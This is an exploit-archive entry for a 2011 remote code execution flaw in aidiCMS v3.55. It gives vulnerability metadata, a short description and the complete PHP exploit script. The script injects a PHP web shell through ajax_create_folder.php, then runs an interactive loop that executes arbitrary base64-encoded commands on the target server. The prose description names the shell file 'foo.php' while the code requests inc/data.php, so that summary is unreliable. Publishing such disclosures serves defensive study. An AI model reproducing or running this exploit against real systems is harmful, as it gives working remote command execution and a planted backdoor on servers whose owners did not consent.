aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit

vendor:

aidiCMS

by:

Egidio Romano aka EgiX

9.3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: aidiCMS

Affected Version From: 3.55

Affected Version To: 3.55

Patch Exists: YES

Related CWE: N/A

CPE: a:aidicms:aidicms:3.55

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit

aidiCMS v3.55 is affected by the vulnerability that allows an attacker to execute arbitrary code on the vulnerable system. This is achieved by sending a specially crafted POST request to the ajax_create_folder.php script, which contains a malicious payload that is written to a file called foo.php. The attacker can then execute arbitrary code by sending a specially crafted GET request to the foo.php script, which contains a base64 encoded command in the Cmd header.

Mitigation:

Upgrade to the latest version of aidiCMS

Source

Exploit-DB raw data:

<?php

/*
    --------------------------------------------------------------------
    aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit
    --------------------------------------------------------------------
    
    author............: Egidio Romano aka EgiX
    mail..............: n0b0d13s[at]gmail[dot]com
    software link.....: http://code.google.com/p/aidicms/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability overview:
    
    aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/
    
    [-] Disclosure timeline:
    
    [23/10/2011] - Vulnerability discovered
    [24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3
    [26/10/2011] - Project members contacted via e-mail
    [04/11/2011] - Still no response received
    [05/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-----------------------------------------------------+";
print "\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |";
print "\n+-----------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /aidicms/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\naidicms-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?>